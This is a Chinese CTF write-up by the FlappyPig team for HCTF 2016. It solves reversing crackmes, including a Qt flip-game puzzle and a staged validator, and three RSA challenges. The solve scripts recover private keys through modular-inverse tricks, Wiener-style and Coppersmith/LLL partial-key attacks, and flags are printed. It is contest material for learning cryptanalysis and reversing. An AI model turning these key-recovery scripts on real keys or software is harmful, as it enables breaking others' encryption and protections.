【CTF攻略】FlappyPig HCTF2016 Writeup

阅读量461617

|

发布时间 : 2016-11-29 11:10:09

http://p7.qhimg.com/t01b9083f0141b85a20.jpg

作者:FlappyPig

预估稿费:600RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

Flip

一.本题是一个linux下的qt程序。

主要分成三个部分

1.一个多阶Flip game

2.一个三阶错乱的Flip game

3.一个内存中执行的三阶Flip game,执行操作由第二个游戏的步子有关。

二.第一关游戏很简单,从主对角线开始一直走对角线即可。

或者爆破406035这个位置

http://p0.qhimg.com/t01d36bd491430636f0.png

三.第二关是一个错位的Flip game

所谓的错乱就是错乱了逻辑,例如一个正常的3*3 Flip逻辑为

1 2 3                       1 3 2

4 5 6   错乱之后为   7 9 8

7 8 9                       4 6 5

第二关最多只能有7步,超过7步就算失败

http://p3.qhimg.com/t01e1e0ca79d5bbbc5b.png

所以需要遍历出第二关所有的走法

所有可能如下

[1, 3, 2, 9, 4, 5, 3]
[1, 3, 2, 9, 5, 3, 4]
[1, 3, 2, 9, 5, 4, 3]
[1, 7, 4, 9, 2, 5, 7]
[1, 7, 4, 9, 5, 2, 7]
[1, 7, 4, 9, 5, 7, 2]
[2, 1, 7, 4, 9, 5, 7]
[2, 7, 9, 4, 5, 7, 1]
[2, 7, 9, 5, 4, 7, 1]
[2, 9, 7, 4, 5, 7, 1]
[2, 9, 7, 5, 4, 7, 1]
[3, 4, 9, 2, 5, 3, 1]
[3, 4, 9, 5, 2, 3, 1]
[3, 9, 2, 5, 3, 1, 4]
[3, 9, 5, 2, 3, 1, 4]
[4, 1, 3, 2, 9, 5, 3]
[4, 3, 9, 2, 5, 3, 1]
[4, 3, 9, 5, 2, 3, 1]
[4, 9, 3, 2, 5, 3, 1]
[4, 9, 3, 5, 2, 3, 1]
[7, 2, 9, 4, 5, 7, 1]
[7, 2, 9, 5, 4, 7, 1]
[7, 9, 4, 5, 7, 1, 2]
[7, 9, 5, 4, 7, 1, 2]
[9, 3, 2, 5, 3, 1, 4]
[9, 3, 5, 2, 3, 1, 4]
[9, 7, 4, 5, 7, 1, 2]
[9, 7, 5, 4, 7, 1, 2]

过了第二关之后出现一个flag提交窗口,submit的按钮事件位于sub_407170

http://p7.qhimg.com/t01c432eb0d6375273c.png

判断输入的长度是不是为32之后调用函数sub_406a80

在sub_406a80中会根据第二关的步骤,去解码第三关的执行步骤。

第二关的走法会影响后续的走法解码(因为之前是直接爆破的所及在在这里卡了很久)。

http://p4.qhimg.com/t0185d62b5d74f47162.png

第二关走的位置和对应的内存数据对应关系如下:

1=>0,2=>2,3=>1,4=>6,5=>8,7=>3,9=>4

得到被分解之后的key,所谓分解就是

将输入的ascii分解,成两个字节的的表示,低位放低位高位放高位。

例如

输入 1234
Ascii  31 32 33 34
分解  01 03 02 03 03 03 04 03

之后会判断key的后六位

http://p5.qhimg.com/t010f2aee34d39ce738.png

最后六位为74343}

然后定位到分解后的key第一位和分解后key的倒数第七位,获取以后传入sub_406780,也就是game3_flip,最后从头部和尾部往中间逼近。

http://p6.qhimg.com/t01de962cf2902ff4fd.png

本题最主要的逻辑在函数sub_406780处

分析后函数如下

http://p9.qhimg.com/t0192831b78b3e2c922.png

http://p7.qhimg.com/t01981649e36eb4faba.png

http://p2.qhimg.com/t015de7b7944d8557a7.png

http://p7.qhimg.com/t010f7fb0472f6eb100.png

主要逻辑已经注释,就是传入a2,a3两个参数用来控制flip game的起始状态,a4是解码后的game3_steps,在game3_steps中遇到0即进行判断是否灯全灭。

由于可以知道forword_char的第一位是8(h分解为08和06),那么可以推测第一步flip的初始状态为

FF FF 00              00 FF 00

00 00 00   或者   00 00 00

00 00 00             00 00 00

用之前获得的走法去解码,game3_steps打印出第一个0之前有效操作。

http://p0.qhimg.com/t01c0416ecfdba51344.png

可以看到一个符合条件的走法

8310,对应的Game2_step

[4, 9, 3, 5, 2, 3, 1]

解码后的Game3_step

8,3,1,0,
9,7,5,3,1,0,
9,7,2,0,
9,7,2,0,
8,3,1,0,
4,9,0,
6,1,0,
4,2,5,1,0,
7,6,0,
4,9,0,
9,7,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
9,7,2,0,
9,7,2,0,
7,6,0,
4,9,0,
6,1,0,
4,2,5,1,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,2,0,
8,3,1,0,
7,5,8,4,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
7,5,8,4,0,
9,7,2,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
9,7,2,0,
4,2,5,1,0,
9,7,5,3,1,0,
7,5,8,4,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
6,1,0,
9,7,5,3,1,0,
7,6,0,
4,9,0,
6,1,0,
9,7,5,3,1,0,
8,3,1,0,
9,7,5,3,1,0,
6,1,0,
9,7,2,0,
8,3,1,0,
4,9,0,
6,1,0,
4,2,5,1,0,
7,6,0,
4,9,0,
9,7,2,0,
9,7,5,3,1,0,
8,6,9,5,0,
8,3,1,0,
9,7,5,3,1,0,
9,7,5,3,1,0,
8,6,9,5,0,
4,9,0,
6,1,0,
9,7,2,0,
7,6,0,
9,7,5,3,1,0,
5,3,6,2,0,
4,2,5,1,0,
8,3,1,0,
4,9,0,
5,3,6,2,0,
9,7,5,3,1,0,
8,3,1,0,
8,3,1,0,
5,3,6,2,0,
9,7,5,3,1,0

根据走法获得初始化矩阵:

[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[1, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 1, 0]]
[[0, 0, 0], [0, 0, 0], [0, 1, 0]]
[[1, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 1]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 1], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 1, 0], [0, 0, 0], [0, 0, 0]]
[[0, 0, 0], [0, 0, 0], [1, 0, 0]]
[[0, 0, 0], [0, 0, 0], [0, 0, 0]]

每四个组确定两个半字节,相当于一个字节,一共104组可以获得26字节,加上前面的6字节获得全部32字节

然后就是去推出,输入的forward_char和back_char了,由于限制在0f之中所以使用爆破的方式

脚本如下

init = [2, 0, 128, 128, 2, 6, 192, 256, 3, 6, 128, 0, 0, 6, 64, 0, 2, 4, 64, 0, 1, 2, 64, 0, 0, 6, 192, 0, 0, 6, 192, 0, 3, 2, 128, 128, 3, 6, 192, 256, 2, 4, 64, 128, 2, 4, 64, 0, 1, 4, 128, 0, 3, 2, 128, 256, 0, 4, 192, 0, 3, 2, 64, 0, 0, 0, 192, 0, 3, 6, 192, 0, 2, 0, 192, 128, 2, 6, 192, 256, 3, 6, 128, 0, 1, 2, 0, 0, 1, 6, 192, 128, 3, 0, 64, 256, 2, 6, 64, 0, 2, 2, 64, 0]
key = [0,0,0,0]
list1 = [0,1,6,7]
list2 = [1,2,7,8]
#tmp = ['h','c','t','f','{']
list3 = [None]*52
list3[0] = ord('h')&0x0f
list3[1] = (ord('h')&0xF0)>>4
list3[2] = ord('c')&0x0f
list3[3] = (ord('c')&0xF0)>>4
list3[4] = ord('t')&0x0f
list3[5] = (ord('t')&0xF0)>>4
list3[6] = ord('f')&0x0f
list3[7] = (ord('f')&0xF0)>>4
list3[8] = ord('{')&0x0f
list3[9] = (ord('{')&0xF0)>>4
 
 
print len(init)
for k in range(26):
              for i in range(256):
                     for l in range(4):
                            z = 0
                            v8 = (i&0xF0)>>4
                            if (k<10):
                                   v7 = list3[k]&0x0F
                            else :
                                   v7 = (i&0x0F)
                            if (v7&(1<<l)!=0):
                                   z |= (1<<list1[l])
                            if (v8&(1<<l)!=0):
                                   z |= (1<<list2[l])
                            #print "z=",bin(z)
                            if (z==init[k*4+l]):
                                   print i
                                   print l
                                   if (l==3):
                                          print k*4+l,v8,v7
                                          list3[k] = v7
                                          list3[51-k] = v8
                                          print "z=",bin(z)
                                          break
                            else:
                                    break
                            if (z!=init[k*4+l]) and i==255:
                                   print "error"
print list3

得到结果

http://p1.qhimg.com/t01d25263ccdab2b8a0.png

重新编码后为

Hctf{L1ttl3_f1lip_Game3_for_

加上的前面的74343}

最后为

Hctf{L1ttl3_f1lip_Game3_for_74343}

http://p3.qhimg.com/t011137f06ce80a88c5.png


前年的400分

关键位置sub_401090,用ida f5之后,整理数据可得

http://p4.qhimg.com/t0128270f7a89242b74.png

是一个多元一次方程组的形式,写脚本把每个未知数的系数提取出来建立矩阵,判断结果也提取出来建立矩阵,交给matlab即可得到答案。

http://p0.qhimg.com/t0148c4700012ea6b87.jpg


Crypto So Interesting

题目中t,e是关于bt的逆元,直接求出t。u 1024bit,ut是phi n的一对逆元,直接wiener attack,跑出u。

ut是phi n的倍数,直接暴力跑phi n,得到phi n,解d,得到flag:

bt=536380958350616057242691418634880594502192106332317228051967064327642091297687630174183636288378234177476435270519631690543765125295554448698898712393467267006465045949611180821007306678935181142803069337672948471202242891010188677287454504933695082327796243976863378333980923047411230913909715527759877351702062345876337256220760223926254773346698839492268265110546383782370744599490250832085044856878026833181982756791595730336514399767134613980006467147592898197961789187070786602534602178082726728869941829230655559180178594489856595304902790182697751195581218334712892008282605180395912026326384913562290014629187579128041030500771670510157597682826798117937852656884106597180126028398398087318119586692935386069677459788971114075941533740462978961436933215446347246886948166247617422293043364968298176007659058279518552847235689217185712791081965260495815179909242072310545078116020998113413517429654328367707069941427368374644442366092232916196726067387582032505389946398237261580350780769275427857010543262176468343294217258086275244086292475394366278211528621216522312552812343261375050388129743012932727654986046774759567950981007877856194574274373776538888953502272879816420369255752871177234736347325263320696917012616273L
n=0xea9c2c15896c2353cea7d6eeccc80ce89ca7324fdba7768ebfd10577c599b6eafaed93e719b6d69215af1c3e59d1930a71fb872ef22d28de9ffceedb854f7c10996256621d5e8941934eb284375b3b773b87ee8ded799318c8d0323e8bf98495b76336ee136a650a57fbe710666178343e77e79cb3a7d28e8c2dfba4b85105f7a381d39c163ee79246248c0402f4d9b25404a22daf5e64d0a72454649643af2d3bde001a7f127203cfc9a34bb993c3e1a532115ec53cb679e618d46832922d72f7f67e2b627c077c2f366ef7f0828a3c64895291e00b98413e6e28eca033b896703fad3bf133f34ed6e1a6fc641b33da0df745c1ecf421a058c2a7e44becf1f07fadf1eacf18810c56473e6d59a6af8221d1ae6e0547f1014018c90f175441e7efa724112a5949e6860358176ecfc4b42c0653df56ed4c52cfd44d7e02326400bcc66040bb6d7a7ed149da2eec485d9c2f84080fff045eeedbf7109aacdb4aa4e5c0c6884b57c0c86c22e934f8fc18369e19206fc52a618b892e3eb97f01d8d438bd61291823ce1d08e6af084e5a9fe528db5eead2eefa4ed3812faa48eab7aaa3430bdaa7bed31d4949391efbaadc8c57d02443388c1f028823d4fd0b9ab5548136a86974badf987369411a93c40af8d7a66d21575fdd9ef90b1ab2a1cbea1bd4b5f9ea44e081f138ffb743153f6047d63f1311d93a3f4dd0fa6791e0f881c3L
e=0x1f11d804be3e294d0f537fc8c945f2b39fe27ec62a0b5d65c8b2d8fdd7e90cebd767b3d2de457cc580454e8359857bbd512e8a41124388dd0cd051c58e0db39b9f55a0d48296df58721fdff8694691436f274e6b1307a9be83b097b9cd05679f7b7a0c2689352f254bc18f1965863c77d034fc9736744a2b2da3a5fead5ce1a9691e655fb36ba12584d49f332a024f75923ec5752a49f53a097bada8de98bd0e58062c74b92d19f08aaa13f130cba42acd72c374de64b66374f099bb693d68023bc6f75be6df31d01dd182317439c2ff73bb8e3af7751a65ae7d69197f9c1764430dc9e49cb5ea5e93867a5d695626ff5fe23283ae8a758a0ba902512cd6e57061644f774200dc44b1b50402306332d3483bc8000f7aa6247fc064efc27431effe78e85fd83e2c314b0d98a40d47e6a0266e0fed9a800adab382d0fe1881130784167a3d36b1f3b3f3d2aba31c86e2c037da5a79289bbb868f6bed4d76bed0bb5a2b317d05be1b64895a9bfad508a6cd36c26510731810ef712e06df60ba09097951b1b401a84ef3feb953de7325b8a4854ca512eaf93e50baf6b1f641d559e529ce0fbbf0856658e2256d123067ae68416ac6a544475652ee28afa243566ad52ce19380f1f8f69991186ea0ec5495b646fa96702586ac24ebe614cfdd765dd3a79be12344c19ac316eea13006deef635daa2cba1b8396d854287c2b80d6dd45L
c=0xc6a7aa2373cb91df3028341d64bc173ac97ebcdb77cbc93276050e428bc96b4b639296a815641e9281d8ba1028cdc395877889e5b39a30f13682f4bee5026ab1a63218b1a099fb1364bf0040bb5769c92aad8f9215b7ff4d3b51a37f6384124d761f4cc1fd12da4e4c165896b78496ef1a71e1e3d8370469ebfcbe3e611a1573b6a89a07942b86727a79ad57fb14c67826a546acf8d12bb7411f0c1aba989a80c7b24afb5ebc216beda3eeb90894459c984a2f6b31ea755481c7fed9c14e2f9497ce99fc68e085bd8ad6841b37556d7bb8282ae0b4bf3160f99f6f9cc7b762548f7cc82d8aa656df5cf1178bfa4f237bfd71c8303a4277aea97df59606455c2050778d62b9803c87411f49c1816dacb1b1337647082f00983d167204d2c20b3cabc603fe0746d5110dff5a7beac602d5d3552757c7ffdc53132d913b810861f807861b41931dc244a2391f17456962080c010bb781a88de38778aacd4c4fed7c8be701c45eab643202c6ee0794167accd911103ab0310c1e3a7301b8d0b011b11da3d19defb8fb7e43f290a96a376115a58463d2629ed56955fcba4255295a35888534cd9118c006d3be48d3309a988f6d10b98d53a3f2fcfe3cc2ece34a6938e7b638a09120bf8b43ec1ab5411918f00f7951120e706bd2d3fcbf3b02420b76607275855b0f1013617907bd97611941a3b59b303c2f269cfb9efda02b720781L
import primefac
t=primefac.modinv(e,bt)%bt
u=211757679145028339938159484490447515548960143376668686540553739283248408071060409284215944478501055427457658526200153976152365874273290079822453866683250687702248578806253044320606491556393838710622190294900967609883011924833456481340748552987157053533389305302512414202183400445958479477845751
print u*t-1
def num2str(num):
    tmp=hex(num)[2:].replace("L","")
    if len(tmp) % 2 == 0:
        return tmp.decode("hex")
    else:
        return ("0"+tmp).decode("hex")
last=(u*t-1) % ((2**6)*3*5*7*13*19*73*151*163*1693*3853*9941)
all=[2,2,2,2,2,2,3,5,7,13,19,73,151,163,1693,3853,9941,last]
for i1 in all:
    testphin=(u*t-1)/i1
    try:
        d=primefac.modinv(e,testphin)%testphin
    except:
        continue
    print pow(c,d,n)
    print num2str(pow(c,d,n))

Crypto So Cool

gen_key中看出n的第128比特到128+640bit是u,也就是p的前面640个bit。以前弄格基规约的时候用过的一份github上的sage代码可解:

https://github.com/mimoo/RSA-and-LLL-attacks/blob/master/coppersmith.sage

解出的是pbar-p,用pbar减去该值即可。

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import DES
key = "abcdefg1"
def pi_b(x, m):
   '''
   m:
      1: encrypt
      0: decrypt
   '''
   enc = DES.new(key)
   if m:
      method = enc.encrypt
   else:
      method = enc.decrypt
   s = long_to_bytes(x)
   sp = [s[a:a+8] for a in xrange(0, len(s), 8)]
   r = ""
   for a in sp:
      r += method(a)
   return bytes_to_long(r)
def num2str(num):
    tmp=hex(num)[2:].replace("L","")
    if len(tmp) % 2 == 0:
        return tmp.decode("hex")
    else:
        return ("0"+tmp).decode("hex")
n=0xa3f7fc8a9cdbf7029c529178d96cbf2228e36fbd704a7d383695f6e8eb54cfd58f2c13c55a5d0dae2be170865f92624c183e20d31e2d8c5a9b1481d32fd19f4e4f90fc4cea43238cd8c613bda744812361d5f4fdee12721a7e464fad69bdb5a8c5b687e2ae2f203cc620a096ad11ecf2bf155bf4f1c10dff7384a4a566965d6257a6dd588d223985c042947ee5ea5ff003283cb6bf89771901b2f1b1c890895861a1461b22639c1635abc50779fe5163eec1ffff9733bca4c33f593d4dfecfdca03d4cc2e220b2f323d1c3eec12889a23d1b0d5c00ae8070cb2d09a972ab23d0b4d70824335569eaa51539c3557b14972bcc1dd794e0ff997bb032acce40e567L
e=0x10001
e2=0x76b3
c=0x48c22e2c71354fc7b6b9237e1e14563c9144243ffbef424c39fd1ee293fcf6569d0edc0ad807deaf1d47b34bcad0e7aeff5cf6efa39445773c1743b31ee4c70cff62f5906a14efdc74304258950f1dddb09ffac8d683d7d9ab436430bd4ff643bb51767632c002c97d75559b5ac4dda6cc1c1426b0d992b0783f6b7f521a1fb96ccd41078fde1d76e0509d7828fc50673a668e99889ef729d68260b2c458356fcbcdb0af21da831eeb06c98a48dc235b1d46e6451b4d22a2668e5b429534cfedbd1dbdb8ace6323844c9a52eb9dc8dfe9d26268f180d8e5f27d5fc7ee7e0022a4879cc68a0c9a46129bd25eac5758088a6cdc33d9458f72b381d931c212be51L
u=int(bin(n)[2:-1][128:128+640],2)
p4=pi_b(u,0)
print bin(p4)
temp="1101111100001101011101100001010001101110000110001111111100010100111000010001110001011100000111001000111100000010101101011011010010011101001100111010010100011010111011001001111101000111111111110101101100010101111111111101111100100000010010111011010100000111001101010001110101010111100010001100010111111001001110010010011101100001001011111101011110111011011111000100010000111001000101011101001110100011110100101010100000001001101011111111100011110010010110111000111001010010111101111110001001010101001101101000000101011010000011100001001100000011111011011010000110010100111000011101110000110001010010010000010111000111100110010111110010111111"
temp2="1"*384
print len(temp+temp2)
qbar =int(temp+temp2,2)
cha=15483423385776591648944200564143931994102240603631297038751816607837858072316729972685015604287550574333116738645234
q=qbar-cha
p=n / q
import primefac
d1=primefac.modinv(e,(p-1)*(q-1)) % ((p-1)*(q-1))
d2=primefac.modinv(e2,(p-1)*(q-1)) % ((p-1)*(q-1))
print d1
print d2
t1=pow(c,d1,n)
t2=pow(c,d2,n)
print num2str(t2)

Crypto So Amazing

首先t是n的前1024bit,yu是t的前半部分,yl是t的后半部分,通过如下方法可以计算出spub和spriv:

t=int(bin(n)[2:][0:1024],2)
yu=int(bin(t)[2:][0:512],2)
yl=int(bin(t)[2:][512:],2)
xu=F_hash(yl)^yu
xl=H_hash(xu)^yl
spub=int(bin(xl)[len(bin(xl))-256:len(bin(xl))],2)
spriv=pow(spub,b,P)
print spriv

spriv作为种子进行了若干次随机生成了p,不知道随机的次数,后面本以为和2差不多,但是第一次是被sage和python的random的序列不一样坑了。解决了这个问题后,发现还是解不出来。后爆出一个hint,给了一个不够2/3bit的泄露也可以解的脚本,而后跑出。

from rrr import get_p4
n = 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9L
pbits = 1024
g_p = get_p4()
while True:
    p4 = g_p.next()
       #p4 = 0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b5
    kbits = pbits - 576
    p4 = p4 << kbits
    PR.<x> = PolynomialRing(Zmod(n))
    f = x + p4
    x0 = f.small_roots(X=2^kbits, beta=0.4)
    if len(x0) == 0:
        continue
    print "x: %s" %hex(int(x0[0]))
    p = p4+x0[0]
    print "p: ", hex(int(p))
    assert n % p == 0
    q = n/int(p)
    print "q: ", hex(int(q))
    print "p4: ", hex(p4)
    break

http://p4.qhimg.com/t01d6f0385837fc46f3.png

生成p直接计算:

from Crypto.Util.number import size, getPrime, long_to_bytes, bytes_to_long, isPrime, getRandomNBitInteger
from hashlib import sha512
def int_add(x1, x2):
   return bytes_to_long(long_to_bytes(x1) + long_to_bytes(x2))
def H_hash(x):
   h = sha512(long_to_bytes(x)).hexdigest()
   return int(h, 16)
def F_hash(x):
   h = sha512(long_to_bytes(x/4)).hexdigest()
   return int(h, 16)
P=0xab72f3a7d42573afe7a71c23dbe3cf8feb7d8b9026a9b1c6174a0c598ceb88a1L
b=9718272430951996082
n= 0xf7a8a487bc5c8127ac30cfbfc08e042580f359edce3db416b8a9abcb0e8dcac5404bb0eea3076966a78bb8e726e6fea79d305cc7c2cddb3dd2578a64b5591df1c9716878f35f1967398861cb368886b60c6d0c2984be3ead8dcdd80d68bb094805068b5d157c16d2b56cf0c3f06797b07bf3a7ab2a5099762958feaf72a212a63c74a4fb7da4092e6a91e72bf74ee961b995545891290c50cb28151b540efdedef9d4cc1c104758050c21dda8be8310fc7e005a08cedbcc8500fe0f9fdaa044e7cb07387060358add1d82521b5f8697b6a8ca2bd19a363bae7558e94404a1c4b82ee98878f9dff0e21030e020c698778aa645001f4c7726d3ac04720295975c9L
spriv=76515803399948578070392316249460231617205640228540294074078216016927174232385
t = bytes_to_long(long_to_bytes(n)[:128])
yu = bytes_to_long(long_to_bytes(t)[:64])
yl = bytes_to_long(long_to_bytes(t)[64:])
xu = F_hash(yl)^yu
xl = H_hash(xu)^yl
s = int_add(xu, xl)
print hex(s)
spub = s&(2**256-1)
print hex(spub)
spriv = pow(spub, b, P)
print spriv
p=0x81a722c9fc2b2ed061fdab737e3893506eae71ca6415fce14c0f9a45f8e2300711119fa0a5135a053e654fead010b96e987841e47db586a55e3d4494613aa0cc4e4ab59fc6a958b59b825931b9b5cab0bfa07c6b0c4ac673060530d5ad8fa04f63c9f026f32c243c9a67a0fd223783dce9ad2e6a0524d559ed0c905c00323db5L
q=n/p
import primefac
e=0x4177
d=primefac.modinv(e,(p-1)*(q-1)) % ((p-1)*(q-1))
c=0xae580a97fec8c445276f6eeb54f4a8d0cab61eaa78a9d5824e61c13898e2a7f78bda4432e863b0b38b84564b62b0c557822c1b997a8a11c85ecd19b9a378e285c270af791750feb2b1954b5254d4521aaf98094e28f61ece61059802162f3af63c9ea9caa02710b4cb00ad074a4029537699dde481a8055f33a17c7055f02334b977b7db508f96c483a8a5dcd424d5cb6b583c6772ae45c99c9779cddd8bd9480f2aa50661c8fdf1b4f96d09e4ad058faeb354a522be5fc8a7014f149c8382e30ff5e844f958ed9b91292cedd5f82a375788c87d363517c1db11735a5d13bfea18890e9cd289880a659d70bee79525e0a368abf2cf9fdc9d3a692098d09b7a96L
m=pow(c,d,n)
def num2str(num):
    tmp=hex(num)[2:].replace("L","")
    if len(tmp) % 2 == 0:
        return tmp.decode("hex")
    else:
        return ("0"+tmp).decode("hex")
print num2str(m)

最正常的逆向

一道很直接的逆向题,按照程序的逻辑一步一步来:

1.首先限制输入的长度为26,然后用这个长度去解码了一个函数。

http://p9.qhimg.com/t015ee83633cd88ef63.png

2.用一个简单的xor判断前四位:得到hctf。之后再次解码函数,进行验证。

http://p8.qhimg.com/t01f58f94b782283c08.png

3.之后进行下一次验证,首先获得大括号内的前四个字符,将其按照aci分割成两个部分

http://p1.qhimg.com/t0121451dc053eed094.png

3.1然后会根据之前的hctf初始化一个table。

http://p8.qhimg.com/t01bc3ad87549df27c0.png

3.2用该表参与运算后,将结果和xor_result = 0x8A012F269090095DLL;比较。最后可以确定结果为The_。然后继续解码函数进入下一个验证。

http://p3.qhimg.com/t0136fcee7e8d97ec73.png

4.接下来是一个逻辑推到的过程,循环两次每一次将三个字节的key分解成四个字节,最后和八个字节比较,正确的结果是result_ = 5709797187881621056LL;可以推出这个六个字节为

Basic_,然后进入下一层验证

http://p7.qhimg.com/t015ce53bd2e186be16.png

